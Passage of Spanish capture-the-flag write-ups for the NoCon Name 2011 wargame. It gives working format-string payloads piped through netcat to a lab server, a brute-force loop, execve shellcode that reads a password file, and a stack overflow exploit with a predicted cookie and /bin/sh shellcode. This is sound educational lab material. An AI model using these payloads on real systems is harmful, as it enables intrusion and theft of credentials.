Después de un análisis de lo que ahí vemos nos daremos cuenta de que 0xbffffc58 es el saved ebp del frame de handle() (lo que llamamos 2), 3 es la dirección de retorno de dovuln(), 4 y 5 es la dirección a nuestra string, 14 es el saved ebp de del frame de loop(), 15 es la dirección de retorno de handle() y 25 es NUESTRA DIRECCION IP :). 44.252.255.191 es en hexadecimal 0x2cfcffbf, y como el endian de internet es big-endian (a diferencia que en x86 donde el endian es little-endian) dándole la vuelta obtenemos 0xbffffc2c. Y que importa? Bien, vamos a hacer un pequeño calculo:

- No sabemos la dirección del ret de 3, pero sabemos como funciona la pila, 2 es la dirección del anterior ebp, que a su vez apunta al aaaaaanterior saved ebp.
- Por el parecido de las direcciones se nota que el aaaaaanterior saved ebp es 14, lo que quiere decir que esa dirección es 2... la dirección de 14 es 2.
- Contando hacía arriba obtenemos que 3 está en la dirección... 0xbffffc2c!!! VAYA QUE CASUALIDAD! Hemos conseguido que nuestra dirección IP "casualmente" tenga el mismo valor que la dirección donde se guarda el ret de dovuln() }:-).

Bueno, pues ahora valiéndonos del format string attack y de este valor PODEMOS SOBREESCRIBIR LA DIRECCIÓN DE RETORNO!:

$ perl -e 'print "PWNED!" . "%25\$n"' | nc 44.252.255.10 12345

Con esto lo que haremos será escribir en la dirección de retorno el valor 6, la cantidad de caracteres que ocupa "PWNED!".

0xbffffc30
0xbffffc58
0x00000006  <-- Magia potagia!
0xb8001008
0xb8001008
0x000003ff
0x00000000
0x00000000
0x00000000
0xb7fd5ff4
0xbffffc98
0xb7fd5ff4
0xb8001008
0xbffffc98
0xb7ffeea7
0x00000004
0xbffffc80
0xbffffc7c
0xb7fd5ff4
0x00000000
0x00000000
0xbffffc98
0x00000010
0x01850002
0xbffffc2c
0x00000000
0x00000000
0x00000004
0x00000000
0xbffffcc8

Entonces cuando dovuln() termine y retorne no se volverá a la siguiente instrucción al call que la llamo, sino la a dirección 6 y el hilo acabará en un bonito Segmentation Fault (que no veremos) porque esa dirección no es legible. Ya hemos conseguido el primer objetivo, conseguir cambiar el flujo de ejecución del programa. Ahora tenemos que conseguir hacer algo útil.

Lo primero que se nos viene a la mente es "hey! y porque no escribimos un MONTOOOOOOOOOOOOOOOOOOÓN de caracteres, concretamente 0xb8001008 en total }:-)", por supuesto ademas lo primero que le pasaremos a nuestra string será una bonita shellcode. La del nivel anterior mismo, consultar el writeup de level4 para ver qué técnicas debe implementar la shellcode y un ejemplo de shellcode. Dicho y hecho, vamos a imprimir hasta la muerte.

$ perl -e 'print `cat shellcode` . "%03087011798x" . "%25\$n"' | nc 44.252.255.10 12345

0xb8001008 en decimal es 3087011848 que menos los 50 bytes que se imprimen de nuestra shellcode son 3087011798. Primer problema, cuando ejecutamos esto comprobaremos que el servidor no hace nada. No imprime nada. Simplemente se queda corriendo como si nada hubiera llegado. Analizando y depurando acabamos concluyendo que se trata de una limitación de vfprintf(). Vfprintf() es la función primigenea de todas las de la familia printf(), todas las demás no son mas que wrappers que acaban llamando a vfprintf(). Resulta que no se puede pedir que se impriman de longitud más de 0x08ffXXXX caracteres (especificamos XXXX porque cuando ibamos comprobando decidimos parar y no llegar a saber cuál es la cantidad exacta de bytes que se pueden llegar a imprimir, con 0x08ffXXXX nos bastaba para lo que queríamos).

Más adelante se nos ocurriría probar a en vez de imprimir un número con muchísima longitud probar a imprimir varios números de menor longitud... suena un poco descabellado pero hasta que no se prueba no se sabe. Hicimos lo siguiente:

$ perl -e 'print `cat shellcode` . "%0134221782x" . "134217728"x22 . "%25\$n"' | nc 44.252.255.10 12345

Vamos a explicarlo un poco, lo primero que hemos hecho es, dado que con las pruebas anteriores sabemos que se puede llegar a imprimir de una sola vez 0x08ffXXXX bytes a 0xb8001008 le restamos los 0x08001008 bytes finales. Esta cantidad se puede imprimir de golpe, en decimal es 134221832, menos los 50 bytes de la shellcode 134221782, la primera directiva %x de relleno. Nos quedan 0xb0000000 bytes por imprimir, dividimos esa cantidad entre 0x08000000 y nos sale 0x16, es decir 22. 0x08000000 en decimal es 134217728, entonces creamos 22 directivas %x que impriman esa cantidad. Antes de ejecutar esto debemos darnos cuenta de que vamos a intentar imprimir 0xb8001008 bytes, esto son unos 2,9 Gb así que la ejecución va a tardar... y van a salir muchos ceros en la pantalla :).

Una aclaración, ya hemos comentado antes que hay una alarma de 10 segundos y explicamos (en NOTA 1) como quitarnos esa molestia. Si llegamos a este punto y no hemos implementado la solución la alarma nos cortará ya que imprimir todo esto tarda "algo más" de 10 segundos :D. Así que aquí sí que es necesario el ignorante_de_la_vida :). Pues bien, después de todo esto, va dar igual todo el trabajo (bueno igual no, hemos aprendido cosas) porque el printf no imprimirá más de 2,1 Gb. Nos bajamos el código fuente de la glibc para analizar ésto pero al final paramos porque queríamos seguir con el reto y porque el código del vfprintf() no es lo que uno llamaría "trivial" (macros powa!). Así que nos quedamos a dos velas T_T, teniendo el nivel a nada de distancia y no llegamos al final porque el vfprintf() está vagueando y pasa de imprimir tantos bytes :(.

Tendremos que enfocarlo de otra manera. Llegados a este punto nos fijamos en las funciones implementa level5 y que sin embargo no se usan, get_urand() y connectto(). Fijándonos vemos que get_urand() abre /dev/urandom y lee de ahí unos cuantos caracteres, connectto() por su parte lo que hace es abrir una conexión al ordenador que se le especifique... Esto es interesante, quizás podríamos de alguna forma saltar a connectto() para abrir una conexión a nuestro ordenador atacante, donde tendremos un netcat esperando para pasar algo. Luego de alguna manera podríamos intentar leer de ese socket a alguna variable EN PILA y no en el heap como está nuestra string y entonces aplicar la técnica de hardcodear en nuestra string direcciones a las que saltar, etc... y luego si lo mezclamos todo esto con get_urand(), pero no un get_urand() cualquiera, si conseguimos enjaular al proceso en otro espacio de nombres del sistema de ficheros, donde crearemos un fichero /dev/urandom que sea un enlace a /home/level4/password.txt... LOGRARIAMOS NUESTRO OBJETIVO!.

Bueno pues la idea se queda ahí por si alguien quiere hacerlo, que tiene bastante pinta de que se puede, pero nosotros vamos a tirar por otro camino xDD. Bueno, estamos limitados a escribir una cantidad de bytes máximos... pero aún nos queda un as en la manga. No lo hemos explicado con anterioridad pero soltar toda la traya de las format strings de golpe es bastante doloroso. Atención! nueva característica de las format strings, el directiva %n como hemos visto escribe un entero (4 bytes), sin embargo se le puede añadir delante el modificador 'h' para que en vez de eso escriba un short (2 bytes), entonces "%hn" lo que haría sería escribir la cantidad de bytes escritos hasta el momento en la posición de memoria apuntada por el parámetro correspondiente pero sólo 2 bytes, dejando intacta la parte superior de esa posición de memoria si la dirección está alineada a 4 o trastocando la parte superior de la memoria pero dejando la parte baja intacta. Así si llevaramos impresos 3 bytes cuando llegamos a la directiva, y el parámetro esta apuntando al byte bajo del valor 0xaabbccdd, después del %hn quedaría 0xaabb0003, si en vez de eso X apuntara al byte que contiene bb, se quedaría 0x0003ccdd.

Y esto de que nos sirve? Revisemos la pila de nuevo.

0xbffffc30  <-- 1
0xbffffc58  <-- 2
0xb7fff04f  <-- 3
0xb8001008
0xb8001008
0x000003ff
0x00000000
0x00000000
0x00000000
0xb7fd5ff4
0xbffffc98
0xb7fd5ff4
0xb8001008
0xbffffc98  <-- 14
0xb7ffeea7  <-- 15
0x00000004
0xbffffc80
0xbffffc7c
0xb7fd5ff4
0x00000000
0x00000000
0xbffffc98
0x00000010
0x01850002
0xbffffc2c  <-- 25
0x00000000
0x00000000
0x00000004
0x00000000
0xbffffcc8  <-- 30

Aquí hay un detalle algo oscuro pero útil. Fijémonos en 3, es ret de dovuln(), ahora fijémonos en 4, es el parámetro a dovuln() nuestra string. Hemos visto que no podemos escribir directamente 0xb8001008 en ret y saltar así a nuestra string donde, bajo ningún concepto, habrá una shellcode. Sin embargo no nos hace falta! Con lo que acabamos de explicar de escribir sólo dos bytes con %hn hay truco. El código, aunque reallocatable (spanglish de la death), está todo junto, qué pasaría si sólo sobreescribo los dos últimos bytes de la dirección de retorno?, pues que quedaría algo como 0xb7ffXXXX y nosotros controlaríamos XXXX, y esto nos sirve de algo? Bueno, en el código hay muchas instrucciones ret, siempre que una función hace return. La función ret hace lo contrario al call, popea la dirección de retorno y la introduce en el eip, haciendo que se salte hacia allí. Podemos localizar una instrucción ret cercana a 0xb7fff04f y cambiar la dirección de retorno para que se salte a ese ret... al ejecutarse se volvería a hacer otro ret, por lo que se volvería a popear la dirección de retorno (o mejor dicho, lo que haya en la cima de la pila), se pondría en el eip y se saltaría allí... qué hay debajo del ret de dovuln()?? }:-). No estamos del todo seguro porque de esto no sabemos mucho pero... ROP (Return-Oriented-Programming)? }:-).

Bien bien, veamos, una instrucción ret en el código... la de handle() por ejemplo (OJO! esto es una depuración en local, los números no son los de antes):

$ gdb -q level5
(gdb) disas handle
...
   0x0011104a <+135>:    call   0x110fab <dovuln> <-- Llamada a dovuln()
   0x0011104f <+140>:    movl   $0x0,0xc(%esp)    <-- Dirección donde se retornará
   0x00111057 <+148>:    movl   $0x5,0x8(%esp)
   0x0011105f <+156>:    movl   $0x111272,0x4(%esp)
   0x00111067 <+164>:    mov    0x8(%ebp),%eax
   0x0011106a <+167>:    mov    %eax,(%esp)
   0x0011106d <+170>:    call   0xb7f41c60 <send>
   0x00111072 <+175>:    mov    -0x4(%ebp),%eax
   0x00111075 <+178>:    mov    %eax,(%esp)
   0x00111078 <+181>:    call   0xb7ee0df0 <free>
   0x0011107d <+186>:    mov    0x8(%ebp),%eax
   0x00111080 <+189>:    mov    %eax,(%esp)
   0x00111083 <+192>:    call   0xb7f2fe30 <close>
   0x00111088 <+197>:    mov    $0x0,%eax
   0x0011108d <+202>:    leave 
   0x0011108e <+203>:    ret    <-- Anda! una instrucción ret.
End of assembler dump.
(gdb) x /8xw $esp
0xbffff350:    0x00113008    0xb7f8330b    0xbffff388    0x0011104f
0xbffff360:    0x00113008    0x00113008    0x000003ff    0x00000000
(gdb)

La dirección de retorno y la instrucción ret que mostramos distan 203-140 = 63 (0x3f) bytes, la dirección de retorno de dovuln() en la ejecución remota es 0xb7fff04f, por lo tanto el ret remoto al que queremos saltar está en 0xb7fff04f + 0x3f = 0xb7fff08e. Debemos imprimir 0xf08e caracteres:

$ perl -e 'print `cat shellcode` . "%61532n" . "%25\$hn"' | nc 44.252.255.10 12345

Sin embargo veremos que no parece que se ejecute nuestra shellcode, qué está pasando?. Si volvemos a analizar el comportamiento depurando en local observaremos un comportamiento que por desgracia se escapa a nuestro entender :(, pero que está ahí. Una vez en ejecución las funciones no distan la misma distancia de bytes que cuando están sin ejecutar, el cálculo anterior no nos vale. Sin embargo podemos observar que aunque las distancias cambien se mantienen relativamente cerca entre ellas. A estas alturas ya estamos vagos y decidimos bruteforcear un poco (oooohhhh!). Vamos hacer un script que lance la sentencia anterior parametrizando la cantidad de caracteres que imprime. También vamos a cambiar la shellcode, en vez de una shell vamos a ejecutar un cat sobre el fichero que nos interesa, de forma que el server escupa en pantalla el contenido. La shellcode desarrollada para esto ha sido ésta (sintaxis AT&T):

   jmp   trick
shellcode:
   pop   %esi
   xor   %eax, %eax
   movb  %al, 0x2e(%esi)
   movb  %al, 0x14(%esi)
   movl  %eax, 0x8(%esi)
   movl  %esi, %ebx
   addl  $0x15, %ebx
   movl  %ebx, 0x4(%esi)
   movl  %esi, %ebx
   addl  $0xc, %ebx
   movl  %ebx, (%esi)
   movl  %esi, %ecx
   xor   %edx, %edx
   xor   %esi, %esi
   movb  $0xb, %al
   int   $0x80
trick:
   call  shellcode

.string  "AAAABBBBCCCC/bin/catA/home/level4/password.txt"

Esta shellcode ocupa más que la otra, 90 bytes concretamente. Redireccionaremos la salida del servidor a un fichero por 2 motivos, una es que en ficheros se escribe más rápido que en pantalla y la otra es que la pantalla tiene un buffer máximo y a la velocidad que se imprime probablemente perderemos el contenido del fichero xD. El script desarrollado es la siguiente chapuza (el cansancio hace mella):

#!/bin/bash

for i in `seq 61000 62000`; do
   perl -e "print \`cat catcode\` . \"%0${i}x\" . \"%25\\\$hn\\n\"" | nc 44.252.255.10 12345 1>/dev/null
   sleep 0.01
done

Fuimos probando intervalos de mil en mil (en este caso de 61000 a 62000) y empezamos por intervalos más bien altos para descartar primero las posiciones por las que están rondando todo el rato las direcciones con las que estamos jugando (f0XX). De hecho haciendo esto ni siquiera llegaremos a terminar porque vamos a encontrar más o menos rápido la cantidad de bytes que hace falta para conseguir cambiar la dirección de retorno a una instrucción ret (cuidado! aquí ya no podemos estar seguros de estar saltando a la instrucción ret que queremos o a otra... pero saltaremos a alguna). Otro motivo para hacer los intentos en intervalos es que se genera bastante salida y luego tenemos que analizarla (aunque evidentemente no será a mano sino con un poco de magia de expresiones regulares y egrep), y además de eso el disco duro de la máquina virtual sólo tiene libre algo más de 100 Mb, si le echamos un calculo a cuantos bytes imprimirá cada sentencia vemos que serán (61090 + 62090) * 1000 / 2 (suma de una serie, el primero más el último por el número de elementos partido por 2), lo que viene a ser unos 59 Mb. Otro detalle que también hacemos es redireccionar la salida de errores del servidor a /dev/null, vamos a estar saltando a un montón de sitios y cada una de las instancias va a estar haciendo cosas raras y van a dar errores.

Para ir terminando, después de tener el fichero de resultados del grupo que muestra este script y de hacer un poco de regexp ninja magic con egrep y sed encontraremos el mensaje de password.txt:

"Felicidades, te has pasado el wargame de la ncn2011!!" :D:D:D.

Una de las sentencias que nos devuelve este resultado es la siguiente:

$ perl -e 'print `cat catcode` . "%061608x" . "%25\$hn\n\n"' | nc 44.252.255.10 12345
... <-- <shellcode>61000 y pico ceros xD

Felicidades, te has pasado el wargame de la ncn2011

Y hasta aquí llegamos. He estado cinco minutos intentando pensar una frase molona para poner aquí, coño! que es el final!! que me ha llevado la de dios terminar este último nivel!!! que yo no soy HD Moore!!!!, pero son las 3:30 de la mañana ahora mismo y aun me quedara un tiempo para darle formato a esto y poder enviarlo con un poco de decencia... no tengo el cerebro para pensar mucho ahora mismo... pero unos chistes siempre vienen bien:

- Qué le dice la máquina de Turin grande a la máquina de Turin pequeña? "Tan pequeña y ya computas!".

- Y Jesús dijo "y = ax^2 + bx + c", a lo que un discípulo preguntó, "y eso qué es?" y el respondió "una parábola!".

- There's no place like ::1.

- Bruce Schneier knows Alice and Bob shared secret.






NOTA 1: Cuando nos ponemos a depurar el binario nos daremos cuenta de que el poco tiempo de llegar a un breakpoint el gdb nos dice "Program terminated with signal SIGALRM, Alarm clock. The program no longer exists.". Esto es debido a que para molestar un poco a la hora del debugging a los hilos que atienden peticiones de clientes (los que realmente ejecutan dovuln()) antes de empezar el trabajo real se ponen una alarma de 10 segundos:

int handle(int csock)
{
   char *buf;

   alarm(10); <--- PUYITA!

   buf = (char*)malloc(1024);


   memset(buf, '\0', 1024);

Sin embargo nos lo podemos saltar para evitar el coñazo y hacer la depuración más llevadera. Se trata de hacer un programa que bloquee esta señal y luego ejecute el servidor. OJO! no vale establecer como manejador de SIGALRM SIG_IGN porque la familia de funciones exec() reestablecen los manejadores de señal al de por defecto, en el caso de SIGALRM sera el de SIGTERM (terminar el proceso). Lo que hay que hacer es mediante sigprocmask bloquear la señal. Esto no hace que la señal sea ignorada sino que se quede en estado pending hasta que la desbloqueemos... no lo vamos a hacer nunca xD. El programa podría ser este:

#include <signal.h>
#include <stdlib.h>
#include <unistd.h>

int main(int argc, char *argv[]) {
   char *args[] = {"/home/level4/level5", NULL};
   sigset_t mask;

   sigemptyset(&mask);
   sigaddset(&mask, SIGALRM);
   sigprocmask(SIG_BLOCK, &mask, NULL);

   execv(args[0], args);
   return 0;
}

Ahora en vez de ejecutar directamente level5, ejecutaríamos este programa, en nuestro caso lo hemos llamado ignorante_de_la_vida (aunque realmente no ignora la señal, pero bueno... hemos tenido días más lúcidos). Así que cuando queramos poner en marcha el servidor lo que haremos será:

$ ./ignorante_de_la_vida
port: 12345

Y ya los procesos no se morirán al depurar :-).

NOTA 2: Sí, ya lo se, todo el documento está lleno con paths que dejan ver claramente cosas como el usuario en mi máquina, /etc... Que pereza me da quitarlo ¬¬. Metadatos, metadatos everywhere... es como si el maligno no me hubiera enseñado nada :-s.

Puedes descargarte el pdf aquí.

Writeup level4 del wargame de la NoCon Name 2011

Este nivel ya tiene bastante más miga que los anteriores (o nosotros no logramos ver el camino fácil). Al loguearnos como level3 veremos el binario level4 (por qué no level3?). Al ejecutarlo veremos que quiere galletas, y de chocolate encima! VAYA TOCOMOCHO!.

$ ./level4
./level4 <Te cambio mi galleta por una de chocolate!>

En fin, vamos a probar.

$ ./level4 1
Esta es mi galleta: <numero hexadecimal>

Si repetimos esto muchas veces veremos que su galleta cambia y no depende de la que nosotros introduzcamos... YA LO TENEMOS!

$ ./level4 chocolate
Esta es mi galleta: <otro numero>

Ooohhh! no pudo ser :). Probemos con el sentido de la vida el universo y todo lo demás.

$ ./level4 42
Esta es mi galleta: <guan mor taim a random namber>

Vaya hombre! más no se le puede dar!. En fin, después de todas estas tonterías vamos a lo serio.

Primero le echamos un ojo al fuente, vemos que la galleta es un número aleatorio con semilla el tiempo actual. Después de generarla se llama a la funcion galleta() que es donde está toda la magia.

Lo primero que vemos es que se copia byte a byte en un BUFFER ESTÁTICO LOCAL A LA FUNCIÓN EL ARGUMENTO PASADO QUE A SU VEZ ES LA GALLETA QUE NOSOTROS LE PASAMOS... o sea BoF (buffer overflow).

A partir de aquí entendemos que el lector tiene ciertos conocimientos de reversing y exploiting además de ensamblador (x86) y de la organización de un proceso en memoria. Si no es así recomendamos Smashing the stack for fun and profit para empezar.

Viendo el BoF lo que vamos a intentar es aprovecharnos del mismo. Nuestro objetivo será sobreescribir la dirección de retorno de galleta para que salte a la pila donde habremos inyectado una shellcode. Esto es posible porque el buffer a explotar es bastante grande, 64 bytes. También nos damos cuenta de que a la hora de sobreescribir debemos lograr que cookie no cambie de valor o el programa saldrá por un exit, con lo que no nos servirá de nada lasobreescritura. El valor de cookie debe ser el mismo que el de secret que a su vez es el número aleatorio que se generó en main.

Vamos por partes, tenemos que sobreescribir la dirección de retorno, pero en este proceso vamos a trastocar cookie, i y len. Esto va a introducir unos cuantos problemas, no va a ser tan simple como pasar como galleta nuestra shellcode, basura y la direccion de retorno a la que queremos saltar.

Si empezamos a probar metiendo argumentos más grandes que 64 bytes veremos que a partir de 65 bytes nuestras galletas no son de chocolate.

$ ./level4 `perl -e 'print "A"x65'`
Esta es mi galleta: XXXXX
Esta no es de chocolate! :(

Con esto sabemos que a partir del byte 65 se empieza a sobreescribir cookie. Ahora nos vamos a centrar en convertir nuestras galletas en galletas de chocolate. Sabemos que la galleta del programa es el resultado de la función rand() con semilla el tiempo actual, pero como vamos a adivinar el número que saldrá en el futuro? No lo vamos a adivinar, vamos a averiguar cuál es ese número e inmediatamente lo vamos a usar para ejecutar level4, si todo esto lo hacemos en menos de un segundo (la granularidad de la función time()) obtendremos el número que necesitamos pasar. Para ello hemos hecho el siguiente programa:

#include <stdio.h>
#include <stdlib.h>
#include <time.h>

int main() {
    int limit = 0;
    int random;
    char *trick;

    srand(time(NULL));
    random = rand();
    trick = (char *)&random;
    printf("%s", trick);
}

El programa es muy simple, vamos a generar el número con la semilla igual al tiempo actual y lo vamos a imprimir. Si antes de que pase un segundo ejecutamos este programa, cogemos el numero devuelvo y se lo pasamos a level4 (tratándolo) conseguiremos que level4 obtenga el mismo número y entonces la comparación de nuestra galleta con la suya será igual. Con esto conseguimos que no se ejecute el exit(), sino que retorne de la función... y nuestra idea es sobreescribir eso }:). El programa tiene un pequeño truco para imprimir el número pero entiendo que el lector sabe suficiente C como para entenderlo sin problemas.

Compilamos y probamos de la siguiente manera:

$ gcc -o cubridor_de_chocolate_galletil cubridor_de_chocolate_galletil.c
$ ./level4 `perl -e 'print "A"x64 . \`./cubridor_de_chocolate_galletil\`'`
Esta es mi galleta: XXXXXX
$

Vemos que funciona, ahora no se ha quejado de que la galleta no es de chocolate, claro! la que le pasamos la recubrimos de chocolate con nuestro cubridor!.

Si seguimos aumentando la ristra que pasamos en pos de sobreescribir a muerteeeeee... bueno no, solo a la dirección de retorno.

$ ./level4 `perl -e 'print "A"x64 . \`./cubridor_de_chocolate_galletil\` . "A"'`
^C
$

Vemos que el programa se queda congelado y que hay que matarlo abruptamente, no sabemos muy bien por qué. Analizando en profundidad (gdb en mano) observamos lo siguiente:



Al desamblar galleta() y analizar dónde se encuentran todas sus variables locales y como está organizado su frame vemos lo siguiente:

-----------------
|      tmp      | <-- -0x54(ebp)
|               |
       ...
|               |
-----------------
|     cookie    | <-- -0x14(ebp)
-----------------
|       i       | <-- -0xc(ebp)
-----------------
|      len      | <-- -0x8(ebp)
-----------------
|      ...      |
-----------------
|      ...      |
-----------------
|   saved ebp   | <-- (ebp)
-----------------
|   saved eip   |
-----------------
|     arg[1]    |
-----------------

Si seguimos metiendo más bytes en el argumento sobreescribiremos i y por lo tanto la copia en tmp dejará de ser contigua. A continuación vemos el bucle que copia en tmp el argumento:



Debemos darnos cuenta que i y len no se mantienen en registros entre iteraciones, sino que se guardan y se leen de memoria cada vez. Esto provoca que cuando sobreescribimos el primer byte de i luego se incremente ese valor en 1 y entonces se vaya a buscar el byte en esa posicion en argv[1] y se guarde en esa posición en tmp. En nuestro ejemplo usando "A" que en hexadecimal es 0x41, se sobreescribirá i poniéndole ese valor, luego se cargará i (que ahora vale 0x41) se incrementará y se volverá a guardar, con lo que nos quedará que en la siguiente iteración se cogerá el byte de la posicion 0x42 (66 en decimal) del argumento y se guardará en la posición tmp[66].

Tenemos que construir nuestro argumento para que justo en el byte 69 (donde se empieza a sobreescribir i) tenga un valor que nos permita escribir en la dirección de retorno. Si nos fijamos en la posición de tmp en la pila veremos que está a 0x58 bytes de distancia de saved eip, así pues el byte que tenemos que pasar es, OJO!, 0x57. Ya que i se sobreescribirá con el e inmediatamente se incrementará para luego copiar un byte más en tmp.

Pero como hemos comentado antes, i también controla a la posición a la que se accede al argumento para buscar el byte a copiar, por lo tanto en la posición 0x58 de nuestro argumento debe empezar la dirección con la que queremos sobreescribir saved eip. Para ello deberemos aumentar el tamaño del argumento de la siguiente manera.

Dentro del propio gdb probamos todo esto:


Efectivamente vemos como hemos sobreescrito la dirección de retorno con 0xddccbbaa y evidentemente hemos acabado con un segmentation fault. Un detalle, "cubridor_de_chocolate_galletil" es gracioso pero poco práctico si se va a usar mucho, en el ejemplo vemos que lo hemos llamado "predictor"... PERO MOLA MÁS EL OTRO!.

Ahora debemos saber que dirección poner ahí, vamos a intentar saltar a la dirección de tmp, donde más tarde pondremos una shellcode. Miramos con gdb dónde se encuentra:



Vemos que se encuentra en 0xbffffc44. Aquí tenemos que hacer un par de aclaraciones. La primera y más importante es que esta dirección se mantiene entre ejecuciones porque ASLR no esta activo ("cat /proc/sys/kernel/randomize_va_space" devuelve 0). La segunda es que ahora estamos ejecutando dentro de gdb, cuando salgamos la dirección cambiará (aunque será cercana) debido a que el entorno donde se ejecuta no es el mismo. Para averiguar en que dirección se va a colocar la pila vamos a hacer una copia de level4.c, vamos a modificar ligeramente el programa, poniéndole la siguiente línea nada más comenzar galleta():

printf("%p\n", &tmp);

De forma que nos imprima la dirección donde se encuentra el buffer al que queremos saltar sin estar en gdb:

$ gcc -o copia_level4 copia_level4.c
...
$ ./copia_level4 `perl -e 'print "A"x64 . \`./predictor\` . "\x57" . "A"x19 . "\xaa\xbb\xcc\xdd"'`
0xbffffc74
Segmentation fault

Bien, el comienzo de tmp es esa dirección y hemos sobreescrito la dirección de retorno. Debemos hacer notar que no basta con ejecutar simplemente copia_level4 con un argumento cualquiera porque el tamaño de éste también modifica la dirección en pila debido a que los argumentos se encuentran en direcciones de memoria más altas que la pila, y cuanto más grande sea el argumento la pila quedará en posiciones más bajas. Veamos:

$ ./copia_level4 ":O"
...
0xbffffcd4

Como vemos, ahora esta en posiciones más altas de memoria, hay que tener cuidado con esto, de hecho ahora veremos que tenemos que hacer una pequeña modificación por algo parecido.

Bien ya tenemos la dirección de retorno sobreescrita y con la dirección que queremos sobreescribir. Ahora "sólo" queda poner allí una shellcode. En esta parte vamos a poner un gran agujero negro. Nosotros, el grupo PHT, hemos/estamos participado/participando en más wargames y tenemos una serie de utilidades ya escritas por nosotros para ayudarnos. Entre ellas tenemos escrita una pequeña shellcode en ensamblador que implementa las técnicas necesarias para que sea "reallocatable" y sin bytes nulos (Smashing the stack for fun and profit si quieres saber de que va todo esto). Es la siguiente:

    jmp        trick

shellcode:
    pop        esi
    xor        eax, eax
    mov        [esi + 0x7], al
    mov        [esi + 0x8], esi
    mov        [esi + 0xc], eax
    mov        ebx, esi
    mov        ecx, esi
    add        cl, 8
    xor        edx, edx
    xor        esi, esi
    mov        al, 0xb
    int        0x80

trick:
    call    shellcode

db    "/bin/shABBBBCCCC"

Está preparada para compilar con nasm, pero por desgracia nasm (al menos el que nosotros tenemos), no genera el codigo como esperamos, el jmp y call no son cercanos y encodean directamente una dirección y no un desplazamiento, así que hay que parchear a manopla los bytes correspondientes. Para ello tradujimos la shellcode a gas (GNU ASsembler):


.globl main
main:
    jmp        trick
shellcode:
    pop        %esi
    xor        %eax, %eax
    movb    %al, 0x7(%esi)
    movl    %esi, 0x8(%esi)
    movl    %eax, 0xc(%esi)
    movl    %esi, %ebx
    movl    %esi, %ecx
    addb    $0x8, %cl
    xor        %edx, %edx
    xor        %esi, %esi
    movb    $0xb, %al
    int        $0x80

trick:
    call     shellcode

.string    "/bin/shABBBBCCCC"

Y la modificamos un poco para poderla compilar con gcc QUE SI GENERA SALTOS RELATIVOS, y poder ver como se encodeaban esas instrucciones con objdump:

$ objdump -D <shellcode>
...
08048394 <main>:
 8048394:       eb 1b                   jmp    80483b1 <trick>

08048396 <shellcode>:
 8048396:       5e                      pop    %esi
 8048397:       31 c0                   xor    %eax,%eax
 8048399:       88 46 07                mov    %al,0x7(%esi)
 804839c:       89 76 08                mov    %esi,0x8(%esi)
 804839f:       89 46 0c                mov    %eax,0xc(%esi)
 80483a2:       89 f3                   mov    %esi,%ebx
 80483a4:       89 f1                   mov    %esi,%ecx
 80483a6:       80 c1 08                add    $0x8,%cl
 80483a9:       31 d2                   xor    %edx,%edx
 80483ab:       31 f6                   xor    %esi,%esi
 80483ad:       b0 0b                   mov    $0xb,%al
 80483af:       cd 80                   int    $0x80

080483b1 <trick>:
 80483b1:       e8 e0 ff ff ff          call   8048396 <shellcode>
...

Para inyectarla en level4 hacemos lo siguiente:


Y por fin tenemos la contraseña del siguiente nivel. El lector avispado se habrá dado cuenta de que la dirección de retorno que se sobreescribe no es la misma que la que hemos usado anteriormente 0xbffffc74, sino 0xbffffc84. Esto es debido a que el entorno de copia_level4 y level4 son distintos. Cuando ejecutamos un programa en su entorno aparece una variable llamada "_" que contiene el nombre del programa ejecutado (./level4 o ./copia_level4). Las variables de entorno están en posiciones más altas de memoria (al igual que los argumentos), por lo tanto la pila se ve modificada dependiendo del tamaño del nombre del programa. Nombres más largos harán que la pila este en posiciones más bajas de memoria. Y aun hay una vuelta de tuerca más, la pila no puede estar en cualquier posición, sólo en posiciones múltiplo de 4 ya que si no los accesos a memoria relativos a ebp y esp generarían segmentations fault por acceder a posiciones no alineadas. Para evitar esto los programas compilados por gcc, en su main tienen siempre una instrucción para alinear la pila:

0x0805f3f3 <+3>:    and    $0xfffffff0,%esp

Vemos que se alinea de 16 bytes en 16 bytes. Se puede comprobar esto en cualquier programa que compilemos con gcc. Si hacemos un análisis del comportamiento de la pila veremos que según vayamos aumentando el nombre o dándole al programa un argumento más grande, la pila se moverá cada 16 bytes. Este es el motivo de por qué hemos sumado 16 bytes (0x10) a la dirección de retorno a sobreescribir, el nombre ./copia_level4 es más largo que ./level4. Se puede pensar que quizás tenemos la suerte de que tanto con un nombre como con el otro, ya que no distan 16 bytes, podríamos caer en la misma posición. Este planteamiento es cierto, pero hay que tener cuidado, no hay que "sumar o restar 16" a partir del nombre, el nombre podría empezar en <dirección alineada>+7, con lo que sólo nos quedarían 16-7=9 bytes para que nombres más largos no modificaran la pila. En este caso concreto la diferencia entre copia_level4 y level4 sí ocasiona que la pila se desplace. Por ello hemos modificado la dirección 16 bytes.

Adicionalmente aunque no haría falta porque estamos saltando con precisión de un byte, se puede observar que antes de nuestra shellcode hemos inyectado 14 bytes con valor "\x90", ese valor corresponde a la instrucción nop de x86 y la técnica de poner delante de nuestra shellcode unos cuantos se llama NOPSLED, sirve para en situaciones donde no sabemos la dirección exacta donde ha caído la shellcode pero más o menos tenemos delimitado por dónde ha sido, podamos saltar por esa zona y tener un "colchón", siempre que caigamos en alguno de los nops o en el primer byte de la shellcode, ésta se ejecutará correctamente.

Que no se piense el lector que el proceso lo hemos hecho seguido sin equivocarnos y con todas las ideas viniendo de golpe. En este nivel hay que pensar, es especialmente cabroncete el hecho de que i se sobreescribe porque el comportamiento que ocurre no es tan evidente. Nos ha llevado algunas horas conseguirlo.

NOTA PARA LA ORGANIZACION: No se si es algo hecho a conciencia o un error. La contraseña que se muestra al obtener el contenido del fichero password.txt de level4 no sirve para loguearse luego como level4. Revise lo que conozco del login de usuario, mire ficheros ocultos en el home de level4, comprobe la configuración de sshd, intente loguearme tanto por ssh como por una consola local, comprobe que el mapa de caracteres imprimía los caracteres esperados y no otros (a veces pasa que el mapa es incorrecto y no se nota en la contraseña), revise la configuración de los PAM para ver si había algo puesto a mano (como las reglas de iptables de level0 que que mandaban el RST,ACK junto con el programa lol que se ejecuta al inicio del sistema y que entre otras cosas invoca a hping3 ;) y finalmente hasta probe a entrar como root para mirar /var/log/auth.log a ver si me daba alguna pista. Todos los mensajes son de contraseña incorrecta. Por otro lado debido a los permisos de las carpetas home y de los ejecutables a explotar, se puede con cualquier usuario hacer cualquier nivel (desde level0 podíamos haber intentado level5), hasta aquí creo haber demostrado que sé cómo hacer reversing y exploiting de un programa como level4 y que lo que se pretendía demostrar lo he demostrado, si se trata de alguna idea feliz (como probar bruteforcing con pequeñas variaciones de la 